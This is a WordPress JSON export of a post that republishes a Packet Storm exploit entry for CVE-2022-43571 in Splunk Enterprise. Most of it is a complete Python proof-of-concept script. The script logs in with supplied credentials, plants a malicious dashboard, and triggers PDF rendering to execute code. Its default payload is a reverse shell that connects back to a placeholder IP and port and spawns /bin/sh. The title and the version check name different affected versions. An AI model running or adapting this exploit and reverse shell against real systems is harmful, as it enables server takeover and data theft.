{"id":42057,"date":"2026-02-20T17:46:42","date_gmt":"2026-02-20T17:46:42","guid":{"rendered":"http:\/\/localhost\/?p=42057"},"modified":"2026-02-20T17:46:42","modified_gmt":"2026-02-20T17:46:42","slug":"splunk-enterprise-829-902-authenticated-remote-code-execution","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=42057","title":{"rendered":"\ud83d\udcc4 Splunk Enterprise 8.2.9 \/ 9.0.2 Authenticated Remote Code Execution_PACKETSTORM:215966"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-02-20T22:59:21&#8243;,&#8221;description&#8221;:&#8221;Proof of concept exploit for CVE-2022-43571, a critical authenticated remote code execution vulnerability affecting Splunk Enterprise versions 8.2.9 and 9.0.2. The flaw resides in the SimpleXML dashboard PDF generation process, where insufficient input&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-02-20T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-02-20T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Splunk Enterprise 8.2.9 \/ 9.0.2 Authenticated Remote Code Execution&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:215966&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2022-43571&#8243;],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================\\n    | # Title     : Splunk Enterprise 8.2.9 \/ 9.0.2 Authenticated Remote Code Execution via PDF Dashboard Rendering                             |\\n    | # Author    : indoushka                                                                                                                   |\\n    | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 147.0.1 (64 bits)                                                            |\\n    | # Vendor    : https:\/\/www.splunk.com                                                                                                      |\\n    =============================================================================================================================================\\n    \\n    [+] Summary    : CVE\u20112022\u201143571 is a critical authenticated Remote Code Execution (RCE) vulnerability affecting Splunk Enterprise. \\n                     The flaw resides in the SimpleXML dashboard PDF generation process, where insufficient input sanitization allows a privileged authenticated user to inject malicious content into dashboard configurations. \\n    \\t\\t\\t\\t When the affected dashboard is exported to PDF, the injected content may be executed in the context of the Splunk server, potentially leading to full system compromise. \\n                     Successful exploitation requires valid Splunk credentials but can result in arbitrary command execution, data exposure, and lateral movement. Splunk has released patches, \\n    \\t\\t\\t\\t and immediate upgrading to a fixed version is strongly recommended.\\n    \\n    [+] Usage : \\n    \\n    pip install requests packaging\\n    \\n    # For testing only   : python poc.py -u https:\/\/splunk.example.com:8000 &#8211;username admin &#8211;password password &#8211;check-only\\n    \\n    # To run the exploit : python poc.py -u https:\/\/splunk.example.com:8000 &#8211;username admin &#8211;password password\\n    \\n    [+] POC :\\n    \\n    #!\/usr\/bin\/env python3\\n    \\n    import requests\\n    import random\\n    import string\\n    import re\\n    import sys\\n    import time\\n    import urllib.parse\\n    from typing import Optional, Dict, Tuple\\n    import base64\\n    import json\\n    \\n    class SplunkExploit:\\n        def __init__(self, target_url: str, username: str, password: str, use_inline_query: bool = False):\\n            self.target_url = target_url.rstrip(&#8216;\/&#8217;)\\n            self.username = username\\n            self.password = password\\n            self.use_inline_query = use_inline_query\\n            self.session = requests.Session()\\n            self.session.verify = False\\n            self.session.headers.update({\\n                &#8216;User-Agent&#8217;: &#8216;Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36&#8217;\\n            })\\n    \\n            self.cookie = None\\n            self.target_app = None\\n            self.dash_name = None\\n    \\n        def splunk_login(self) -\\u003e Optional[str]:\\n            \\&#8221;\\&#8221;\\&#8221;Authenticate to Splunk and return session cookie.\\&#8221;\\&#8221;\\&#8221;\\n            login_url = f\\&#8221;{self.target_url}\/en-US\/account\/login\\&#8221;\\n    \\n            resp = self.session.get(login_url)\\n            if resp.status_code != 200:\\n                print(f\\&#8221;[-] Failed to access login page: {resp.status_code}\\&#8221;)\\n                return None\\n    \\n            cval_match = re.search(r&#8217;name=\\&#8221;cval\\&#8221;\\\\s+value=\\&#8221;([^\\&#8221;]+)\\&#8221;&#8216;, resp.text)\\n            if not cval_match:\\n                print(\\&#8221;[-] Could not find cval token\\&#8221;)\\n                return None\\n            \\n            cval = cval_match.group(1)\\n    \\n            login_data = {\\n                &#8216;cval&#8217;: cval,\\n                &#8216;username&#8217;: self.username,\\n                &#8216;password&#8217;: self.password,\\n                &#8216;set_has_logged_in&#8217;: &#8216;false&#8217;\\n            }\\n            \\n            resp = self.session.post(\\n                f\\&#8221;{self.target_url}\/en-US\/account\/login\\&#8221;,\\n                data=login_data,\\n                allow_redirects=False\\n            )\\n            \\n            if resp.status_code in [302, 200]:\\n    \\n                if &#8216;splunkweb_csrf_token&#8217; in self.session.cookies:\\n                    self.cookie = f\\&#8221;splunkweb_csrf_token={self.session.cookies[&#8216;splunkweb_csrf_token&#8217;]}\\&#8221;\\n                    print(f\\&#8221;[+] Successfully logged in as {self.username}\\&#8221;)\\n                    return self.cookie\\n            \\n            print(\\&#8221;[-] Login failed\\&#8221;)\\n            return None\\n    \\n        def check_splunk_version(self) -\\u003e Tuple[bool, str]:\\n            \\&#8221;\\&#8221;\\&#8221;Check if Splunk version is vulnerable.\\&#8221;\\&#8221;\\&#8221;\\n            if not self.cookie:\\n                self.cookie = self.splunk_login()\\n                if not self.cookie:\\n                    return False, \\&#8221;Login failed\\&#8221;\\n            \\n            version_url = f\\&#8221;{self.target_url}\/en-US\/app\/launcher\/home\\&#8221;\\n            headers = {&#8216;Cookie&#8217;: self.cookie}\\n            \\n            resp = self.session.get(version_url, headers=headers)\\n            if resp.status_code != 200:\\n                return False, f\\&#8221;Failed to access home page: {resp.status_code}\\&#8221;\\n    \\n            version_match = re.search(r&#8217;Splunk\u00ae\\\\s+([\\\\d\\\\.]+)&#8217;, resp.text)\\n            if version_match:\\n                version_str = version_match.group(1)\\n                print(f\\&#8221;[+] Found Splunk version: {version_str}\\&#8221;)\\n    \\n                from packaging import version as pkg_version\\n                \\n                try:\\n                    v = pkg_version.parse(version_str)\\n    \\n                    if (pkg_version.parse(\\&#8221;8.1.0\\&#8221;) \\u003c= v \\u003c= pkg_version.parse(\\&#8221;8.1.11\\&#8221;)) or \\\\\\n                       (pkg_version.parse(\\&#8221;8.2.0\\&#8221;) \\u003c= v \\u003c= pkg_version.parse(\\&#8221;8.2.8\\&#8221;)) or \\\\\\n                       (pkg_version.parse(\\&#8221;9.0.0\\&#8221;) \\u003c= v \\u003c= pkg_version.parse(\\&#8221;9.0.1\\&#8221;)):\\n                        return True, f\\&#8221;Vulnerable version found: {version_str}\\&#8221;\\n                    else:\\n                        return False, f\\&#8221;Non-vulnerable version: {version_str}\\&#8221;\\n                except Exception as e:\\n                    print(f\\&#8221;[-] Error parsing version: {e}\\&#8221;)\\n                    return False, \\&#8221;Could not parse version\\&#8221;\\n            \\n            return False, \\&#8221;Could not determine version\\&#8221;\\n    \\n        def gen_inline_splunk_query(self) -\\u003e str:\\n            \\&#8221;\\&#8221;\\&#8221;Generate an inline Splunk query.\\&#8221;\\&#8221;\\&#8221;\\n            row_id_name = self.random_string(8, 16)\\n            arr_field = self.random_string(8, 16)\\n            \\n            rand_count = random.randint(100, 500)\\n            step = random.randint(2, 15)\\n            \\n            col_count = random.randint(3, 10)\\n            column_names = [self.random_string(8, 16) for _ in range(col_count)]\\n            \\n            delimiter = random.choice([&#8216;;&#8217;, &#8216;|&#8217;, &#8216;:&#8217;, &#8216;#&#8217;, &#8216;!&#8217;])\\n            names_string = delimiter.join(column_names)\\n            \\n            query = f\\&#8221;\\&#8221;\\&#8221;\\n            | makeresults count={rand_count}\\n            | streamstats count as {row_id_name}\\n            | eval _time = now() &#8211; ({row_id_name} * {step}),\\n                   {arr_field} = split(\\&#8221;{names_string}\\&#8221;, \\&#8221;{delimiter}\\&#8221;),\\n                   sourcetype = mvindex({arr_field}, {row_id_name} % {col_count})\\n            | chart sparkline count by sourcetype\\n            \\&#8221;\\&#8221;\\&#8221;\\n            \\n            return query.strip()\\n    \\n        def get_system_index_splunk_query(self) -\\u003e str:\\n            \\&#8221;\\&#8221;\\&#8221;Get a query using system indexes.\\&#8221;\\&#8221;\\&#8221;\\n            rand_tail = random.randint(100, 200)\\n            index = random.choice([&#8216;_internal&#8217;, &#8216;_audit&#8217;, &#8216;_introspection&#8217;])\\n            return f\\&#8221;index={index} | tail {rand_tail} | chart sparkline count by sourcetype\\&#8221;\\n    \\n        def random_string(self, min_len: int = 8, max_len: int = 16) -\\u003e str:\\n            \\&#8221;\\&#8221;\\&#8221;Generate random alphanumeric string.\\&#8221;\\&#8221;\\&#8221;\\n            length = random.randint(min_len, max_len)\\n            return &#8221;.join(random.choices(string.ascii_letters + string.digits, k=length))\\n    \\n        def get_random_app(self, enabled: bool = True) -\\u003e str:\\n            \\&#8221;\\&#8221;\\&#8221;Get a random app name (simplified).\\&#8221;\\&#8221;\\&#8221;\\n    \\n            common_apps = [&#8216;search&#8217;, &#8216;launcher&#8217;, &#8216;splunk_monitoring_console&#8217;]\\n            return random.choice(common_apps)\\n    \\n        def create_dashboard(self, app: str, dash_name: str, template: str) -\\u003e bool:\\n            \\&#8221;\\&#8221;\\&#8221;Create a dashboard with malicious template.\\&#8221;\\&#8221;\\&#8221;\\n            create_url = f\\&#8221;{self.target_url}\/en-US\/splunkd\/__raw\/servicesNS\/{self.username}\/{app}\/data\/ui\/views\\&#8221;\\n            \\n            headers = {\\n                &#8216;Cookie&#8217;: self.cookie,\\n                &#8216;Content-Type&#8217;: &#8216;application\/x-www-form-urlencoded&#8217;,\\n                &#8216;X-Splunk-Form-Key&#8217;: self.get_form_key()\\n            }\\n            \\n            data = {\\n                &#8216;name&#8217;: dash_name,\\n                &#8216;eai:data&#8217;: template\\n            }\\n            \\n            resp = self.session.post(create_url, headers=headers, data=data)\\n            if resp.status_code in [200, 201]:\\n                print(f\\&#8221;[+] Dashboard &#8216;{dash_name}&#8217; created successfully\\&#8221;)\\n                return True\\n            \\n            print(f\\&#8221;[-] Failed to create dashboard: {resp.status_code}\\&#8221;)\\n            print(f\\&#8221;Response: {resp.text[:500]}\\&#8221;)\\n            return False\\n    \\n        def get_form_key(self) -\\u003e str:\\n            \\&#8221;\\&#8221;\\&#8221;Extract form key from Splunk page.\\&#8221;\\&#8221;\\&#8221;\\n            home_url = f\\&#8221;{self.target_url}\/en-US\/app\/launcher\/home\\&#8221;\\n            headers = {&#8216;Cookie&#8217;: self.cookie}\\n            \\n            resp = self.session.get(home_url, headers=headers)\\n            if resp.status_code == 200:\\n                match = re.search(r&#8217;formKey\\\\s*:\\\\s*\\&#8221;([^\\&#8221;]+)\\&#8221;&#8216;, resp.text)\\n                if match:\\n                    return match.group(1)\\n    \\n            return self.random_string(32, 32)\\n    \\n        def export_dashboard(self, app: str, dash_name: str) -\\u003e bool:\\n            \\&#8221;\\&#8221;\\&#8221;Trigger PDF export of dashboard to execute payload.\\&#8221;\\&#8221;\\&#8221;\\n            export_url = f\\&#8221;{self.target_url}\/en-US\/api\/pdfgen\/render\\&#8221;\\n            \\n            headers = {\\n                &#8216;Cookie&#8217;: self.cookie,\\n                &#8216;Content-Type&#8217;: &#8216;application\/json&#8217;,\\n                &#8216;X-Splunk-Form-Key&#8217;: self.get_form_key()\\n            }\\n            \\n            payload = {\\n                &#8216;serverURL&#8217;: f\\&#8221;{self.target_url}\/en-US\\&#8221;,\\n                &#8216;app&#8217;: app,\\n                &#8216;dashboard&#8217;: dash_name,\\n                &#8216;width&#8217;: 1000,\\n                &#8216;height&#8217;: 800\\n            }\\n            \\n            try:\\n                resp = self.session.post(\\n                    export_url,\\n                    headers=headers,\\n                    json=payload,\\n                    timeout=30\\n                )\\n    \\n                print(\\&#8221;[+] PDF export triggered (payload execution attempted)\\&#8221;)\\n                return True\\n                \\n            except Exception as e:\\n                print(f\\&#8221;[*] Export request completed (expected if payload executes): {e}\\&#8221;)\\n                return True\\n    \\n        def delete_dashboard(self, app: str, dash_name: str) -\\u003e bool:\\n            \\&#8221;\\&#8221;\\&#8221;Delete the created dashboard.\\&#8221;\\&#8221;\\&#8221;\\n            delete_url = f\\&#8221;{self.target_url}\/en-US\/splunkd\/__raw\/servicesNS\/{self.username}\/{app}\/data\/ui\/views\/{dash_name}\\&#8221;\\n            \\n            headers = {\\n                &#8216;Cookie&#8217;: self.cookie,\\n                &#8216;X-Splunk-Form-Key&#8217;: self.get_form_key()\\n            }\\n            \\n            resp = self.session.delete(delete_url, headers=headers)\\n            if resp.status_code in [200, 204]:\\n                print(f\\&#8221;[+] Dashboard &#8216;{dash_name}&#8217; deleted\\&#8221;)\\n                return True\\n            \\n            return False\\n    \\n        def generate_malicious_template(self, payload: str) -\\u003e str:\\n            \\&#8221;\\&#8221;\\&#8221;Generate malicious dashboard template with payload.\\&#8221;\\&#8221;\\&#8221;\\n            if self.use_inline_query:\\n                splunk_query = self.gen_inline_splunk_query()\\n            else:\\n                splunk_query = self.get_system_index_splunk_query()\\n            \\n            style_param = random.choice([&#8216;lineColor&#8217;, &#8216;fillColor&#8217;])\\n            escaped_payload = urllib.parse.quote(payload)\\n            \\n            template = f\\&#8221;\\&#8221;\\&#8221;\\u003cdashboard\\u003e\\n        \\u003crow\\u003e\\n            \\u003cpanel\\u003e\\n                \\u003ctable\\u003e\\n                    \\u003csearch\\u003e\\n                    \\u003cquery\\u003e\\n                        {splunk_query}\\n                    \\u003c\/query\\u003e\\n                    \\u003c\/search\\u003e\\n                    \\u003cformat field=\\&#8221;sparkline\\&#8221; type=\\&#8221;sparkline\\&#8221;\\u003e\\n                    \\u003coption name=\\&#8221;{style_param}\\&#8221;\\u003e{escaped_payload}\\u003c\/option\\u003e\\n                    \\u003c\/format\\u003e\\n                \\u003c\/table\\u003e\\n            \\u003c\/panel\\u003e\\n        \\u003c\/row\\u003e\\n    \\u003c\/dashboard\\u003e\\&#8221;\\&#8221;\\&#8221;\\n    \\n            lines = template.split(&#8216;\\\\n&#8217;)\\n            return &#8216;\\\\n&#8217;.join(line.strip() for line in lines if line.strip())\\n    \\n        def exploit(self, reverse_shell_payload: str = None) -\\u003e bool:\\n            \\&#8221;\\&#8221;\\&#8221;Execute the full exploit chain.\\&#8221;\\&#8221;\\&#8221;\\n            print(\\&#8221;[*] Starting Splunk RCE exploit (CVE-2022-43571)\\&#8221;)\\n    \\n            print(\\&#8221;[*] Attempting to login&#8230;\\&#8221;)\\n            if not self.splunk_login():\\n                return False\\n    \\n            print(\\&#8221;[*] Checking Splunk version&#8230;\\&#8221;)\\n            is_vuln, msg = self.check_splunk_version()\\n            print(f\\&#8221;[*] {msg}\\&#8221;)\\n            if not is_vuln:\\n                print(\\&#8221;[-] Target does not appear to be vulnerable\\&#8221;)\\n                return False\\n    \\n            if not reverse_shell_payload:\\n                # Example Python reverse shell payload\\n                reverse_shell_payload = \\&#8221;\\&#8221;\\&#8221;__import__(&#8216;os&#8217;).system(&#8216;python3 -c \\&#8221;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\\\\\\\\\\\\&#8221;YOUR_IP\\\\\\\\\\\\\\&#8221;,YOUR_PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\\\\\\\\\\\\\\&#8221;\/bin\/sh\\\\\\\\\\\\\\&#8221;,\\\\\\\\\\\\\\&#8221;-i\\\\\\\\\\\\\\&#8221;])\\&#8221;&#8216;)\\&#8221;\\&#8221;\\&#8221;\\n            \\n            print(f\\&#8221;[*] Using payload: {reverse_shell_payload[:50]}&#8230;\\&#8221;)\\n    \\n            print(\\&#8221;[*] Generating malicious dashboard template&#8230;\\&#8221;)\\n            template = self.generate_malicious_template(reverse_shell_payload)\\n    \\n            self.target_app = self.get_random_app()\\n            self.dash_name = self.random_string(8, 16)\\n            \\n            print(f\\&#8221;[*] Target app: {self.target_app}\\&#8221;)\\n            print(f\\&#8221;[*] Dashboard name: {self.dash_name}\\&#8221;)\\n    \\n            print(\\&#8221;[*] Creating dashboard&#8230;\\&#8221;)\\n            if not self.create_dashboard(self.target_app, self.dash_name, template):\\n                return False\\n    \\n            print(\\&#8221;[*] Triggering PDF export to execute payload&#8230;\\&#8221;)\\n            if not self.export_dashboard(self.target_app, self.dash_name):\\n                print(\\&#8221;[-] Failed to trigger export\\&#8221;)\\n    \\n            time.sleep(5)\\n    \\n            print(\\&#8221;[*] Attempting to cleanup&#8230;\\&#8221;)\\n            self.delete_dashboard(self.target_app, self.dash_name)\\n            \\n            print(\\&#8221;[+] Exploit completed\\&#8221;)\\n            return True\\n    \\n        def cleanup(self):\\n            \\&#8221;\\&#8221;\\&#8221;Cleanup created resources.\\&#8221;\\&#8221;\\&#8221;\\n            if self.target_app and self.dash_name:\\n                self.delete_dashboard(self.target_app, self.dash_name)\\n    \\n    def main():\\n        \\&#8221;\\&#8221;\\&#8221;Main function for standalone execution.\\&#8221;\\&#8221;\\&#8221;\\n        import argparse\\n        \\n        parser = argparse.ArgumentParser(description=&#8217;Splunk RCE Exploit (CVE-2022-43571)&#8217;)\\n        parser.add_argument(&#8216;-u&#8217;, &#8216;&#8211;url&#8217;, required=True, help=&#8217;Splunk base URL (e.g., https:\/\/splunk.example.com:8000)&#8217;)\\n        parser.add_argument(&#8216;&#8211;username&#8217;, default=&#8217;admin&#8217;, help=&#8217;Splunk username (default: admin)&#8217;)\\n        parser.add_argument(&#8216;&#8211;password&#8217;, required=True, help=&#8217;Splunk password&#8217;)\\n        parser.add_argument(&#8216;&#8211;inline-query&#8217;, action=&#8217;store_true&#8217;, help=&#8217;Use inline Splunk query&#8217;)\\n        parser.add_argument(&#8216;&#8211;check-only&#8217;, action=&#8217;store_true&#8217;, help=&#8217;Only check if target is vulnerable&#8217;)\\n        \\n        args = parser.parse_args()\\n    \\n        import urllib3\\n        urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\\n        \\n        exploit = SplunkExploit(\\n            target_url=args.url,\\n            username=args.username,\\n            password=args.password,\\n            use_inline_query=args.inline_query\\n        )\\n        \\n        try:\\n            if args.check_only:\\n                is_vuln, msg = exploit.check_splunk_version()\\n                print(f\\&#8221;\\\\n{&#8216;=&#8217;*50}\\&#8221;)\\n                print(f\\&#8221;Check Results: {msg}\\&#8221;)\\n                print(f\\&#8221;{&#8216;=&#8217;*50}\\&#8221;)\\n                sys.exit(0 if is_vuln else 1)\\n            else:\\n                success = exploit.exploit()\\n                sys.exit(0 if success else 1)\\n                \\n        except KeyboardInterrupt:\\n            print(\\&#8221;\\\\n[*] Exploit interrupted by user\\&#8221;)\\n            exploit.cleanup()\\n            sys.exit(1)\\n        except Exception as e:\\n            print(f\\&#8221;\\\\n[-] Error: {e}\\&#8221;)\\n            exploit.cleanup()\\n            sys.exit(1)\\n    \\n    if __name__ == \\&#8221;__main__\\&#8221;:\\n        main()\\n    \\t\\n    Greetings to :============================================================\\n    jericho * Larry W. Cashdollar * r00t * Malvuln (John Page aka hyp3rlinx)*|\\n    ==========================================================================&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/215966&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:8.8,&#8221;severity&#8221;:&#8221;HIGH&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:N\/AC:L\/PR:L\/UI:N\/S:U\/C:H\/I:H\/A:H&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/215966\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-02-20T22:59:21&#8243;,&#8221;description&#8221;:&#8221;Proof of concept exploit for CVE-2022-43571, a critical authenticated remote code execution vulnerability affecting Splunk Enterprise versions 8.2.9 and 9.0.2. The flaw resides in the&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,41,12,15,13,53,7,11,5],"class_list":["post-42057","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-88","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 Splunk Enterprise 8.2.9 \/ 9.0.2 Authenticated Remote Code Execution_PACKETSTORM:215966 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=42057\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 Splunk Enterprise 8.2.9 \/ 9.0.2 Authenticated Remote Code Execution_PACKETSTORM:215966 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-02-20T22:59:21&#8243;,&#8221;description&#8221;:&#8221;Proof of concept exploit for CVE-2022-43571, a critical authenticated remote code execution vulnerability affecting Splunk Enterprise versions 8.2.9 and 9.0.2. The flaw resides in the...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=42057\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-02-20T17:46:42+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"11 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=42057#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=42057\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 Splunk Enterprise 8.2.9 \\\/ 9.0.2 Authenticated Remote Code Execution_PACKETSTORM:215966\",\"datePublished\":\"2026-02-20T17:46:42+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=42057\"},\"wordCount\":2254,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"CVSS-8.8\",\"exploit\",\"HIGH\",\"news\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=42057#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=42057\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=42057\",\"name\":\"\ud83d\udcc4 Splunk Enterprise 8.2.9 \\\/ 9.0.2 Authenticated Remote Code Execution_PACKETSTORM:215966 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-02-20T17:46:42+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=42057#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=42057\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=42057#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 Splunk Enterprise 8.2.9 \\\/ 9.0.2 Authenticated Remote Code Execution_PACKETSTORM:215966\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 Splunk Enterprise 8.2.9 \/ 9.0.2 Authenticated Remote Code Execution_PACKETSTORM:215966 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=42057","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 Splunk Enterprise 8.2.9 \/ 9.0.2 Authenticated Remote Code Execution_PACKETSTORM:215966 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-02-20T22:59:21&#8243;,&#8221;description&#8221;:&#8221;Proof of concept exploit for CVE-2022-43571, a critical authenticated remote code execution vulnerability affecting Splunk Enterprise versions 8.2.9 and 9.0.2. The flaw resides in the...","og_url":"https:\/\/zero.redgem.net\/?p=42057","og_site_name":"zero 